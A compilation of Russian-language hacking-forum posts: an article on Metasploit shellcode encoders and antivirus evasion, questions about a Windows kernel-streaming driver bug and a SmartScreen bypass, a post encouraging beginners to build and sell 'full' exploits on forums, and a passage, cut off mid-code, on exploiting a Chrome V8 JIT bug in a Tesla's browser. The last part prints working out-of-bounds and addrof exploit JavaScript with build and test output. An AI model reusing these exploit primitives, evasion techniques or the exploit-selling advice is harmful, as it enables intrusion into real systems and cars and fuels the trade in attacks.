Соответственно, при исполнении закодированной полезной нагрузки первым делом выполняется Stub, который раскодирует оригинальный шелл-код и передает ему управление. Пример реализации такой схемы — это и есть x86/xor_dynamic. В качестве преобразования используется операция XOR с ключом переменной длины. При этом длина и значение ключа зависят от «плохих» байтов.
Чтобы лучше понять работу этого энкодера, давай дважды сгенерируем уже знакомый нам шелл-код linux/x86/exec с применением x86/xor_dynamic и посмотрим, чем отличаются результаты.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage9.png&hash=a2b9e6fe976cac6ca9241941f136ff01)
Синим цветом отмечен Stub — код, который расшифровывает шелл-код в памяти и исполняет его. Первый выделенный красным фрагмент кода загружает первоначальное значение ключа в регистр AL, второй и третий используются для определения начала и конца закодированных данных. Фактически все отличия в Stub сводятся к этим двум моментам.
При этом здесь используется тот же трюк для передачи указателя на данные, что мы видели на примере шелл-кода linux/x86/exec, — с помощью инструкции call указатель на данные помещается в стек в качестве адреса возврата, откуда его можно легко забрать с помощью инструкции pop. После того как оригинальный шелл-код декодирован, ему передается управление инструкцией jmp ecx.
Несмотря на простоту x86/xor_dynamic и на то, что добавляемый к шелл-коду объем данных невелик, этот метод тоже не лишен недостатков. В частности, если один из байтов Stub «плохой» (а общее число байтов Stub в x86/xor_dynamic гораздо больше, чем, скажем, в x86/add_sub) и недопустим для использования в полезной нагрузке, то с этим ничего не удастся сделать и придется использовать другой энкодер.
x86/add_sub
Кодирует пейлоад при помощи инструкций add и sub. Идея взята из боевого
эксплоита HP NNM. Его фишка в том, что в полезной нагрузке разрешена только
треть всего диапазона 0x00–0xFF. Это накладывает сильные ограничения на
пейлоад — насколько нам известно, ни один энкодер, кроме этого (и еще пары
alphanumeric, которые реализуют принципиально иной подход), не осилит
маскировку плохих байтов в таких условиях.
Энкодер x86/add_sub делит исходный шелл-код на участки, а потом представляет каждый из них в виде суммы или разности нескольких значений. Так как операции add и sub в x86 работают с 32-битными блоками, то попытка применить этот энкодер к шелл-коду, имеющему длину, не кратную четырем, будет приводить к неудаче.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage6.png&hash=126668fd22201aa16a9f859a914abcd6)
Кроме того, этот энкодер не предусматривает передачу исполнения исходному шелл-коду ¯\(ツ)/¯. С другой стороны, если дело дошло до применения этого энкодера, то передача управления точно не составит труда.
Если мы дизассемблируем закодированный шелл-код linux/x86/exec, то увидим что- то подобное вот такому листингу.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage13.png&hash=0cbff44195c7e2293daceb371baf1ff9)
Здесь видно, что каждый отдельный четырехбайтовый блок исходного шелл-кода сначала собирается в регистре eax с помощью инструкций and и add, а потом размещается в стеке с помощью инструкции push. В случае если байт 0x05 (опкод инструкции add) «плохой», в качестве основной арифметической операции используется вычитание и соответствующая ему инструкция sub.
Фактически энкодер x86/add_sub позволяет представить шелл-код в виде последовательности четырех инструкций и их операндов, что делает его потенциально применимым даже в самых сложных случаях, когда набор разрешенных для использования байтов крайне ограничен.
x86/alpha_mixed
Этот энкодер кодирует полезную нагрузку как цифро-буквенную строку с разными
регистром букв. Такие шелл-коды называют venetian shellcode.
Какое-то время назад фильтрация входящих данных по принципу соответствия символам какой-либо кодировки действительно рассматривалась как одна из эффективных мер противодействия бинарной эксплуатации, пока в 2002 году Крис Анли в своей культовой статье Creating Arbitrary Shellcode In Unicode Expanded Strings не показал, что это не так и что даже с помощью инструкций с опкодами, соответствующими символам Unicode, можно добиваться полноценного исполнения кода.
Чтобы обеспечить преобразование байтов шелл-кода в цифро-буквенную последовательность, энкодер x86/alpha_mixed использует движок Alpha2 за авторством SkyLined. Использование этого движка имеет одну побочную особенность: фактически x86/alpha_mixed генерирует самомодифицирующийся шелл-код, поэтому во время исполнения ему необходимо знать свой собственный адрес.
Если мы сгенерируем шелл-код без дополнительных параметров энкодера, то мы увидим следующую картину.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage14.png&hash=0ff606b903f0f5f16e736d6f3ac900dd)
Перед понятной последовательностью ASCII-символов будет идти несколько непечатных. Эта часть как раз и выполняет определение позиции шелл-кода в памяти.
Довольно часто во время эксплуатации уязвимости на шелл-код указывает некоторый регистр CPU. Очевидно, что в таком случае нам не нужно проводить дополнительные операции, чтобы определить положение шелл-кода в памяти, и мы можем избавиться от части байтов, портящей нашу буквенно-цифровую картину. Энкодер x86/alpha_mixed поддерживает передачу такого регистра в виде параметра BufferRegister.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage15.png&hash=e3d3cd0696891e124fbf5c7834125010)
В общих чертах энкодер x86/alpha_mixed использует ту же схему декодирования, что и x86/xor_dynamic, — в коде предусмотрен определенный Stub, который декодирует оригинальный шелл-код в памяти и передает ему управление.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage12.png&hash=2962253f92d92bccf3e72533b5a4a3e2)
Тема venetian shellcode заслуживает отдельной статьи, поэтому всем заинтересованным рекомендую ознакомиться с публикацией автора.
Вывод
Msfvenom предлагает на выбор 23 энкодера полезных нагрузок для x86. Каждый из
них имеет определенные ограничения и сферы применения, где они максимально
эффективны.
Например, энкодер x86/add_sub нужно дополнительно кастомизировать для работы, хоть он и предлагает наибольшую гибкость, x86/alpha_mixed позволяет запустить полезную нагрузку в условиях, когда разрешены только буквы и цифры, но для полноценной работы может требовать указания BufferRegister, а x86/xor_dynamic не требует ничего, но бессилен против «плохих» байтов, которые есть в исходнике декодера.
Как было сказано в начале, авторы некоторых энкодеров ставили своей задачей не только сокрытие «плохих» байтов, но и обход средств защиты. Среди таких энкодеров, например, x86/shikata_ga_nai. Это полиморфный энкодер, который производит разные полезные нагрузки при каждом запуске так, что формирование единой сигнатуры для IPS или AV просто невозможно.
Таким образом, выбор энкодера сильно зависит от их назначения и особенностей реализации, которые можно понять, изучив исходники энкодеров или отреверсив полезную нагрузку. Исходный код Metasploit Framework вместе со всеми энкодерами опубликован на GitHub, поэтому ничто не мешает провести пару вечеров, разбираясь с темой.
Авторы:
r3turn0riented (German Namestnikov)
tmardan (Темирлан Мардан)
взято с хакер.ру
Бага в технологии "Kernel Streaming", о которой мало что полезного можно найти, чтобы увязать с драйверами.
В mskssrv.sys есть интерфейс SrvDispatchIoControl для обработки ioctl- запросов. Есть прослойка в виде драйвера ksthunk, но это пока не важно.
Spoiler: devstack
Code:Copy to clipboard
3: kd> !devstack @rcx
!DevObj !DrvObj !DevExt ObjectName
ffffaa8120ddda60 \Driver\ksthunk ffffaa8120dddbb0 00000087
> ffffaa8120e54b70 \Driver\MSKSSRV ffffaa8120e54cc0
ffffaa811f84bdd0 \Driver\swenum ffffaa811f84bf20 KSENUM#00000001
Какие аргументы передаются в NtDeviceIoControlFile - загадка (у кого есть exReven - это не будет загадкой).
Spoiler: Пример цепочки вызовов SrvDispatchIoControl
Code:Copy to clipboard
3: kd> k
# Child-SP RetAddr Call Site
00 ffffa48d`f426f5f8 fffff800`60da782c MSKSSRV!SrvDispatchIoControl
01 ffffa48d`f426f600 fffff800`5accb875 ks!DispatchDeviceIoControl+0x3c
02 ffffa48d`f426f630 fffff800`63f31415 nt!IofCallDriver+0x55
03 ffffa48d`f426f670 fffff800`63f31133 ksthunk!CKernelFilterDevice::DispatchIrp+0xf5
04 ffffa48d`f426f6d0 fffff800`5accb875 ksthunk!CKernelFilterDevice::DispatchIrpBridge+0x13
05 ffffa48d`f426f700 fffff800`5b0c2c70 nt!IofCallDriver+0x55
06 ffffa48d`f426f740 fffff800`5b0c123c nt!IopSynchronousServiceTail+0x1d0
07 ffffa48d`f426f7f0 fffff800`5b0bf516 nt!IopXxxControlFile+0x72c
08 ffffa48d`f426fa00 fffff800`5ae3d1e5 nt!NtDeviceIoControlFile+0x56
09 ffffa48d`f426fa70 00007fff`ad4aeee4 nt!KiSystemServiceCopyEnd+0x25
0a 00000019`e16ff758 00007fff`aad0bc5b ntdll!NtDeviceIoControlFile+0x14
0b 00000019`e16ff760 00007fff`ac4727f1 KERNELBASE!DeviceIoControl+0x6b
0c 00000019`e16ff7d0 00007fff`9a3500f0 KERNEL32!DeviceIoControlImplementation+0x81
0d 00000019`e16ff820 00007fff`9a353542 frameservermonitor!FSMDeviceWatcher::InternalUpdateLoginTriggerToKs+0xe0
0e 00000019`e16ff880 00007fff`9a34a3f7 frameservermonitor!FSMDeviceWatcher::RegisterWatcher+0x402
0f 00000019`e16ffab0 00007fff`9a3496ad frameservermonitor!FSMonitorService::ProcessWatcherObject+0x137
10 00000019`e16ffb00 00007fff`9d5b9b01 frameservermonitor!FSMonitorService::ProcessWatcherObjectAsyncCallback::Invoke+0xd
11 00000019`e16ffb30 00007fff`ad47299a RTWorkQ!ThreadPoolWorkCallback+0xd1
12 00000019`e16ffbb0 00007fff`ad446056 ntdll!TppWorkpExecuteCallback+0x13a
13 00000019`e16ffc00 00007fff`ac48244d ntdll!TppWorkerThread+0x8f6
14 00000019`e16ffee0 00007fff`ad46dfb8 KERNEL32!BaseThreadInitThunk+0x1d
15 00000019`e16fff10 00000000`00000000 ntdll!RtlUserThreadStart+0x28
В свою очередь, путь до уязвимой функции от SrvDispatchIoControl.
Spoiler: Цепочка вызовов в mskssrv.sys до уязвимой функции
Code:Copy to clipboard
PAGE:00000001C0008520 SrvDispatchIoControl
PAGE:00000001C0009700 ?PublishTx@FSRendezvousServer@@QEAAJPEAU_IRP@@@Z
PAGE:00000001C000BB88 ?PublishTx@FSStreamReg@@QEAAJPEAUFSFrameInfo@@@Z
PAGE:00000001C000A314 ?AllocateMdl@FSFrameMdl@@QEAAJAEBUFSMemoryStream@@@Z
.text:00000001C0001650 FsAllocAndLockMdl
Устройства для этого драйвера нет, следовательно и символьной ссылки, по
которой можно отправлять запросы, тоже. Очевидно, используются другие
интерфейсы для взаимодействия. Вопрос, какие?
Ресерч по теме должен выйти в августе, но может кто-нибудь уже что-то
подраскурил?
Месяц назад еще можно было подписывать файл неправильной цифр подписью и
смартскрин пропускал его не смотря на то что на файле стоял ZoneIdentifier.
Пару дней назад прочитал новость о том что баг пофикшен. Кто пользовался,
скажите, лавочка прикрыта? Расходимся?
Вообще кто то вкурсе как реализовано было? Оригинал:
https://www.securitylab.ru/news/534481.php
Еще способ для зип архива по сей день работает. Через 7z можно отключать
унаследование метки ZoneIdentifier
Привет юный сплойт-писатель! Сегодня в этой статье я расскажу тебе о том, что такое боевой эксплойт. Что это такое? и с чем его едят?
Что такое фулл-сплойт?
Возможно ты уже где-то слышал такое словосочетание, как " боевой эксплойт". Например в ксакепе, можно было часто увидеть ... Или читая англоязычную литерату можно встретить такое словосочетание, как " weaponized exploit" или что-то в этом духе, но так до конца и не понял смысл этого словосочетания.
Так вот мой юнный друг...
Боевой эксплойт - это эксплойт, который с вероятностью стремящийся к 100%, что он отработает на таргете. Его ещё называют " full functionality" - эксплойт с полной функциональностью. Кому, как удобнее называть. Ну, а в народе его называют фулл-сплойтом или фулл-эксплойт.
Сейчас я говорю не про 0day эксплойт, а именно про фулл сплойт.
Поясню чуть более детально... На примере [BlueKeep (CVE-2019-0708)](https://msrc.microsoft.com/update- guide/vulnerability/CVE-2019-0708).
Если посмотреть на данный скриншот, видно что данная уязвимость присутствует в нескольких версиях ОС. Исходя из этого следует, если мы адаптируем эксплойт под все версии ОС, где присутствует данная уязвимость и если сплойт будет обходить все механизмы безопасности, то тогда этот эксплойт можно назвать фулл-сплойтом. А теперь представь, что он еще и 0дей, тогда он будет нести максимальный импакт в 100%.
Если тебе стало интересно как выглядит фулл-сплойт под капотом? Нет проблем, далеко ходить не надо.
Достаточно заглянуть в модуль метасплойта ms08_067_netapi.rb
В этом эксплойте добавлена поддержка для 72 версий ОС. Только представь КАРЛ!! 72 ОС!!! И то, вариация для Windows Vista не добавлена, наверно из-за проблем с ASLR или из-за лени девелоперов)).
Если тебе стало еще интересней? То тогда смело отправляйся на exploit-db.com в раздел локальных эксплойтов под Linux.
Там ты будешь лицезреть что-то подобное, состоящие из таких вот структур. Соль, в том что создается структура, выделяется что-то общие и перечисляются различия: ОС, версия, адреса памяти. На exploit-db.com можно так же встретить попытки реализации фулл-сплойта, под обычные программы, вроде читалки. Эту читалку просто тестировали на разных ОС и записывали адреса памяти опять же в структуру подобного типа. Кроме читалки, можно встретить фулл-сплойт под браузер Internet Explorer. Так же можно создать структуру подобного типа, где будут перечисляться боевые нагрузки для эксплойта вроде reverse shell, bind shell, download and execution... Всё зависит от фантазии, на сколько многофункциональным будет твой эксплойт.
Фулл-сплойты можно так же встретить и на форумах в разделе купли\продажи...
Это не реклама, это чисто пример фулл-сплойта!!
Как рождаются приватные сплойты
Как ты думаешь сколько стоят эксплойты опубликованные на exploit-db.com ? Ноль? А вот и не угадал, по оценке диванных аналитиков каждый эксплойт стоит примерно от 5 до 15 баксов. Сейчас многие из вас скажут, да как так... они же бесплатные, сейчас накачаю и пойду продавать. Нет, это так не работает. Да они бесплатные, но цена тут складывается из учета импакта которые они в себе несут.
В большинстве случае в эксплойтах встроена защита от скрипт-кидди, или эксплойт и вовсе не стабильный, а при запуске он вызывает BSoD или kernel panic. Одним словом крешит ПО. Так же эта цена обусловлена тем, что вышел апдейт и уязвимых машин в интернете практически нет. Если понаблюдать, то можно заметить, что там публикуются и свежие эксплойты, но это не совсем эксплойты, и если уж говорить более точно это PoC'и, которые всего навсего крешат систему. Поки от Google Project Zero и других секурити ресёрчеров. Но среди этого хлама бывает можно найти и рабочие эксплойты.
Представь себе такую картину.
Кул-хацкер проник в сеть организации, просканировал сеть, выявил множества уязвимых машин, после чего он решил проэксплуатировать одну из уязвимостей, например повысить свои привилегии на сервере до администратора. Но вот не задача, публичный сплойт который он скачал с github оказался не рабочим, тогда кул-хацкер решил поискать другие эксплойты для другой уязвимости. Нашел, решил попробовать, но вот опять не задача, это сплойт адаптирован для одной ОС, а не для нескольких..
Подумал, подумал кул-хацкер и решил допилить этот эксплойт. День сидел два сидел, но так у него и не получилось, на то он и кул-хацкер!!! В итоге психанул и пошел на форум писать объявление куплю сплойт для повышения привилегий.
Понятное дело будь на его месте тру-хакер, он бы конечно допилил бы этот эксплойт и почистил бы себе кобольт и написал бы малварь. И вообще никто ему не нужен, потому что сам себе APT'ист))))
Как ты уже догадался зарабатывать можно допиливая публичные эксплойты и адаптируя их под несколько ОС. Превращая паблик сплойт в фулл-сплойт. Лучше всего пилить LPE-сплойты, с ними проще чем с RCE.
Заключение
В качестве закрепления материала, так сказать на практике, предлагаю тебе написать тренировочный фулл. А в качестве цели предлагаю выбрать тебе MS08-067))) Да именно его! Это будет боевым крещением. Во первых уязвимость простая, во вторых есть где слизать, подсмотреть. Ведь это первый фулл-сплойт. Ну и в третьих, хоть сейчас и 2021 год, но по статистике, этой ОС до сих пор пользуются. Еще один аргумент в пользу того, чтобы написать именно этот эксплойт, это то, что в старом курсе от Offensive-Security, Advanced Exploit- Development предлагалось написать именно этот эксплойт. Плюс ко всему этому, все кто начинает писать фуллы начинают именно с этой уязвимости, ну по большому счету пишут именно этот эксплойт. Еще могу сказать, что даже этот фулл можно продать, при условии, что он будет круче, чем модуль из метасплойта, баксов эдак за 30$))
Вот таким вот не хитрым способом можно зарабатывать на ~~паблик эксплойтах~~ фулл-сплойтах. Особенно это актуально для новичков.
Специально для xss.is
weaver (c)
Дисклеймер: все технические объяснения, насколько мне известно, допускают человеческие ошибки. Понятия могут быть намеренно или иным образом чрезмерно упрощены. Я не обнаружил использованную уязвимость и не создал каких-либо методов, используемых для ее использования.
В ноябре 2019 года я посетил Advanced Browser Exploitation от Ret2 Systems в Трое, штат Нью-Йорк, где очень подробно изучил внутреннее устройство V8 Google Chrome и JavaScriptCore Apple Safari. В конце пятидневного курса мы закончили реализацией полного эксплойта для Chrome, который запускал xcalculator, пока песочница была отключена.
В последний день тренировок мы все уехали, и по дороге домой я на своем Volkswagen Jetta сбил оленя на скоростях шоссе. Некоторое время я подумывал о покупке Tesla Model 3, и эта авария послужила поводом для этого.
Через несколько недель прибыла блестящая новая машина. Первое, что я заметил: сильно устаревший браузер на основе Chromium.
Это казалось отличным применением навыков, полученных в ходе обучения, поэтому я начал следить за обновлениями Tesla и следить за патчами V8, которые можно было бы использовать в качестве основы для эксплойта. Проект на какое-то время отошел на второй план, пока в конце февраля 2020 года мне на глаза не попался пост в блоге Exodus Intelligence.
К этому времени Tesla выпустила несколько обновлений программного обеспечения, доведя Chromium до 79.0.3945.88 в их выпуске 2020.4.1. Поскольку программное обеспечение Tesla появилось раньше патча Google на несколько недель, казалось весьма вероятным, что автомобильный браузер окажется уязвимым! Поскольку Exodus предоставил полный эксплойт, первые 90% кода были выполнены, а все оставшееся - это вторые 90% портируемые на Tesla.
Необходимые знания
Предполагается некоторое знание использования JIT-движков в современных браузерах (Safari или Chrome). Для непосвященных эти ресурсы должны стать прочной основой:
- LiveOverflow - Browser Exploitation (Video Series)
- saelo - Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622
- saelo - Exploiting Logic Bugs in JavaScript JIT Engines
- Syed Faraz Abrar - Exploiting v8: *CTF 2019 oob-v8
- Exodus Intelligence - Patch-Gapping Google Chrome
- Exodus Intelligence - A Window of Opportunity: Exploiting a Chrome 1day Vulnerability
- Exodus Intelligence - A Eulogy for Patch-Gapping Chrome (The post that inspired this effort)Click to expand...
Для получения более подробной информации настоятельно рекомендуется пройти курс Advanced Browser Exploitation от Ret2 Systems.
Выявление и создание уязвимого V8
Обычно этот тип уязвимости легче исследовать в отлаживаемой версии интерпретатора JavaScript. В проекте Chromium это называется d8. Первый шаг - определить коммит проекта V8, соответствующую версии Chromium. Это можно сделать, введя номер версии Chromium в поле поиска версии omahaproxy:
Во-первых, мы должны настроить среду разработки и собрать V8 на этом коммите.
Репозиторий depot_tools содержит все необходимое для сборки Chromium и всех
его компонентов на стандартной виртуальной машине amd64 Ubuntu 18.04:
Bash:Copy to clipboard
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools
$ echo "export PATH=`pwd`/depot_tools:$PATH" >> ~/.bashrc
$ source ~/.bashrc
$ fetch --nohooks v8
$ cd v8
$ git checkout 2dd34650e3ed0541e2025aaabd9fca88b92adba3
$ gclient sync --with_branch_heads
$ ./build/install-build-deps.sh
Наконец, соберите d8 в режиме отладки. На моем MacBook Pro это заняло примерно 25 минут.
Bash:Copy to clipboard
$ ./tools/dev/gm.py x64.debug
$ ./out/x64.debug/d8
V8 version 7.9.317.32
d8>
Сайдбар: изменение коммитов
При изменении коммитов процесс немного отличается:
Bash:Copy to clipboard
$ git checkout some-other-commit
$ gclient sync --with_branch_heads
$ ninja -C ./out/x64.debug d8
Запуск эксплойта
Теперь запустите урезанную версию эксплойта Exodus, слегка измененную для работы в d8 вместо браузера. Мы ожидаем, что в результате будет указано, что поврежденная длина float_rel является большим числом:
// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel; // float array, initial corruption target
vuln.pop();
vuln.pop();
vuln.pop();function empty() {}
function f(nt) {
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
for (var i = 0; i < 0x10000; ++i) {};
}let p = new Proxy(Object, {
get: function() {
vuln[0] = {};
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];return Object.prototype;
}
});function main(o) {
for (var i = 0; i < 0x10000; ++i) {};
return f(o);
}for (var i = 0; i < 0x10000; ++i) {empty();}
main(empty);
main(empty);// Function would be jit compiled now.
main(p);print(
Corrupted length of float_rel array = ${float_rel.length}\n
);Click to expand...
Bash:Copy to clipboard
$ ./out/x64.debug/d8 --allow-natives-syntax exodus_minimal.js
Corrupted length of float_rel array = 5
Что ж, прискорбно. Предполагается, что эта версия V8 уязвима, и на самом деле, изучив исправление, легко увидеть, что уязвимость должна присутствовать. Патч состоит из одной строчки (плюс регрессионный тест):
Bash:Copy to clipboard
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
}
case IrOpcode::kJSCreatePromise: {
Этот тип однострочного исправления типичен для проблем моделирования побочных эффектов, когда любой допустимый побочный эффект должен аннулировать некоторые предположения, сделанные на этапах оптимизации JIT-компилятора. Если посмотреть на src/compiler/node-properties.cc в целевом коммите, добавленная строка отсутствует.
Почему не работает?
Отчет об ошибке содержит пример сценария, который должен вызвать ошибку. Запуск сценария в d8 приводит к сбою:
ITERATIONS = 10000;
TRIGGER = false;function f(a, p) {
return a.pop(Reflect.construct(function() {}, arguments, p));
}let a;
let p = new Proxy(Object, {
get: function() {
if (TRIGGER) {
a[2] = 1.1;
}
return Object.prototype;
}
});
for (let i = 0; i < ITERATIONS; i++) {
let isLastIteration = i == ITERATIONS - 1;
a = [0, 1, 2, 3, 4];
if (isLastIteration)
TRIGGER = true;
print(f(a, p));
}Click to expand...
Bash:Copy to clipboard
$ ./out/x64.debug/d8 crash.js
[...]
abort: CSA_ASSERT failed: Word32BinaryNot(IsFixedDoubleArrayMap(source_map)) [../../src/codegen/code-stub-assembler.cc:4335]
==== JS stack trace =========================================
0: ExitFrame [pc: 0x7efe61492e20]
1: StubFrame [pc: 0x7efe612652c2]
Security context: 0x06a306d1b291 <JSObject>#0#
2: /* anonymous */ [0x6a306d1f5b9] [/home/ubuntu/crash.js:~1] [pc=0x22f42f303476](this=0x384816c80141 <JSGlobal Object>#1#)
3: InternalFrame [pc: 0x7efe6125891a]
4: EntryFrame [pc: 0x7efe612586f8]
==== Details ================================================
[0]: ExitFrame [pc: 0x7efe61492e20]
[1]: StubFrame [pc: 0x7efe612652c2]
[2]: /* anonymous */ [0x6a306d1f5b9] [/home/ubuntu/crash.js:~1] [pc=0x22f42f303476](this=0x384816c80141 <JSGlobal Object>#1#) {
// optimized frame
--------- s o u r c e c o d e ---------
ITERATIONS = 10000;\x0aTRIGGER = false;\x0a\x0afunction f(a, p) {\x0a return a.pop(Reflect.construct(function() {}, arguments, p));\x0a}\x0a\x0alet a;\x0alet p = new Proxy(Object, {\x0a get: function() {\x0a if (TRIGGER) {\x0a a[2] = 1.1;\x0a }\x0a return Object.prototype;\x0a }\x0a});\x0afor (let i = 0; i...
-----------------------------------------
}
[3]: InternalFrame [pc: 0x7efe6125891a]
[4]: EntryFrame [pc: 0x7efe612586f8]
==== Key ============================================
#0# 0x6a306d1b291: 0x06a306d1b291 <JSObject>
#1# 0x384816c80141: 0x384816c80141 <JSGlobal Object>
=====================
Received signal 4 ILL_ILLOPN 7efe61c3ff71
==== C stack trace ===============================
[0x7efe61c42731]
[0x7efe61c42680]
[0x7efe5e3d2890]
[0x7efe61c3ff71]
[0x7efe608ccdd7]
[0x7efe608ccad2]
[0x7efe61492e20]
[end of stack trace]
Illegal instruction (core dumped)
Ясно, что ошибка присутствует. Возможно, между версией Tesla и применением патча есть какая-то фиксация, которая пролила бы некоторый свет на это.
Устранение неполадок с помощью git bisect
git bisect - очень полезный инструмент, который поможет сузить коммит. При выполнении двоичного поиска по диапазону коммитов количество коммитов, которые необходимо протестировать, резко сокращается.
Во-первых, мы должны определить границы поиска и определить одну как "старую", а другую как "новую". Версия V8, используемая в Tesla, будет "старой" границей.
Изменение патча связано с его родительским коммитом (то есть последним коммитом перед патчем): bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07, который будет "новой" границей.
На каждом этапе процесса деления пополам необходимо перестроить d8 в выбранном коммите, после чего можно будет запустить эксплойт Exodus. Затем результат передается в git путем пометки коммита как "старый" (не сработал) или "новый" (сработал). В конце процесса мы должны быть в том коммите, где начал работать эксплойт Exodus. Разница между этим коммитом и его родительским должна показать, почему эксплойт не работает в версии, используемой в браузере Tesla.
Начните с запуска git bisect и определения границ:
Bash:Copy to clipboard
$ git bisect start
$ git bisect old 2dd34650e3ed0541e2025aaabd9fca88b92adba3
$ git bisect new bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
Bisecting: a merge base must be tested
[0d7889d0b14939fa5c09c39a0a5eb155b74163e4] [coverage] Correctly report coverage for inline scripts
$ gclient sync --with_branch_heads && ninja -C ./out/x64.debug d8
$ ./out/x64.debug/d8 --allow-natives-syntax exodus_minimal.js
Corrupted length of float_rel array = 5
$ git bisect old
Bisecting: 1010 revisions left to test after this (roughly 10 steps)
[70803a8fef8d93e2a73ab75f34fcead1090d81c4] Update V8 DEPS.
$ gclient sync --with_branch_heads && ninja -C ./out/x64.debug d8
$ ./out/x64.debug/d8 --allow-natives-syntax exodus_minimal.js
[...]
После нескольких прыжков появляется виновник:
Оглядываясь назад, это кажется очевидным из текста сообщения в блоге Exodus, и я сразу понял проблему: сжатие указателя не было включено до Chrome 80! Хотя ошибка присутствует и до этого, метод затирания поля длины второго массива нежизнеспособен.
Сжатие указателя
Сообщение Exodus ссылается на статью, подробно описывающую сжатие указателя. Краткая версия состоит в том, что старшие 32 бита указателей на JSObject статичны во всем интерпретаторе и хранятся в выделенном регистре. При разыменовании указателя на JSObject младшие 32 бита, хранящиеся в куче, объединяются с старшими 32 битами, обеспечивая полный адрес.
Это означает, что размер double больше не совпадает с размером указателя. Когда первый элемент массива vuln установлен на объект, он изменяется с HOLEY_DOUBLE_ELEMENTS на HOLEY_ELEMENTS, doubles преобразуются из raw doubles в JSValues, а резервное хранилище перераспределяется в меньшее пространство.
Вызов vuln.push() по-прежнему считает (в результате JIT- компиляции/оптимизации), что массив состоит из типа HOLEY_DOUBLE_ELEMENTS, и помещает аргумент прямо в vuln vuln.length * 8] как raw double. Создавая новый массив (float_rel) в прокси сразу после побуждения vuln к изменению типов, он будет частично выделен в пространстве, которое vuln обычно занимал, и, таким образом, запись за границу raw double can может сократить длину of float_rel, что позволяет контролировать относительное чтение/запись оттуда.
Без сжатых указателей vuln.push() по-прежнему помещает необработанное двойное значение в массив HOLEY_ELEMENTS, но он больше не выходит за пределы, и этот подход нежизнеспособен.
В сообщении Exodus говорится, что "[эта] уязвимость легко предоставляет примитивы addrof и fakeobj, поскольку мы можем рассматривать неупакованные двойные значения как помеченные указатели или наоборот". Они не предоставляют POC этого, и я не смог найти ни одного из других; пришло время проверить мою тренировку Ret2.
**Начиная с нуля
Сборка addrof**
Урезанная версия доказательства концепции Exodus очень близка к тому, чтобы уже иметь addrof: вызывая pop() в массиве вместо push(), адрес объекта будет возвращен как raw double. Просто!
function addrof(obj) {
let vuln = [0.1]; // [1] vuln is PACKED_DOUBLE_ELEMENTSfunction empty() {}
function f(nt) {
let a = vuln.pop(Reflect.construct(empty, arguments, nt)); // [2] Reflect.construct triggers the proxy, [4] pop() still thinks vuln is PACKED_DOUBLE_ELEMENTS
for (var i = 0; i < 0x10000; i++) {};
return a;
}let p = new Proxy(Object, {
get: function() {
vuln[0] = obj; // [3] Convert vuln to PACKED_ELEMENTS and write the address of obj into the last element (ready for pop())
return Object.prototype;
}
});function main(o) {
for (var i = 0; i < 0x10000; i++) {};
return f(o);
}for (var i = 0; i < 0x10000; i++) {empty();}
main(empty);
main(empty);return main(p);
}let leak_obj = {};
%DebugPrint(leak_obj);
print('addrof(leak_obj): ' + addrof(leak_obj))Click to expand...
И результаты многообещающие:
Bash:Copy to clipboard
$ ./out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/addrof.js
DebugPrint: 0x8543ed4b6f1: [JS_OBJECT_TYPE]
- map: 0x27bd44a40441 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x085af1902129 <Object map = 0x27bd44a40211>
- elements: 0x38e899880c09 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x38e899880c09 <FixedArray[0]> {}
0x27bd44a40441: [Map]
- type: JS_OBJECT_TYPE
- instance size: 56
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 4
- enum length: invalid
- back pointer: 0x38e8998804b9 <undefined>
- prototype_validity cell: 0x15d593500661 <Cell value= 1>
- instance descriptors (own) #0: 0x38e899880241 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x085af1902129 <Object map = 0x27bd44a40211>
- constructor: 0x085af1902161 <JSFunction Object (sfi = 0x15d59350a309)>
- dependent code: 0x38e8998802a9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
addrof(leak_obj): 4.5246158346984e-311
$ python -c "import struct; print(hex(struct.unpack('<Q', struct.pack('<d', 4.5246158346
984e-311))[0]))"
0x8543ed4b6f1
$
Теперь самое время проверить, присутствует ли ошибка на фактическом целевом устройстве. Это очень вероятно, поскольку эта прошивка предшествует публичному объявлению об ошибке, но все равно будет разумно проверить:
Сборка fakeobj
Концептуально fakeobj прост, поскольку это addrof. Мы возвращаемся к использованию push() для записи raw double в массив, который был преобразован из PACKED_DOUBLE_ELEMENTS в PACKED_ELEMENTS.
Я потратил почти всю субботу на опечатку:
vuln.push(typeof(Reflect.construct(empty2, arguments, nt) === Proxy ? 0.2 : addr));
После более чем 20 лет программирования в той или иной степени все еще можно совершать такие глупые ошибки. Это должно было быть очевидно, когда объект считывал строку "number", но она не нажималась в течение нескольких часов.
Исправляем опечатку, остальное просто:
function addrof(obj) {
[...]
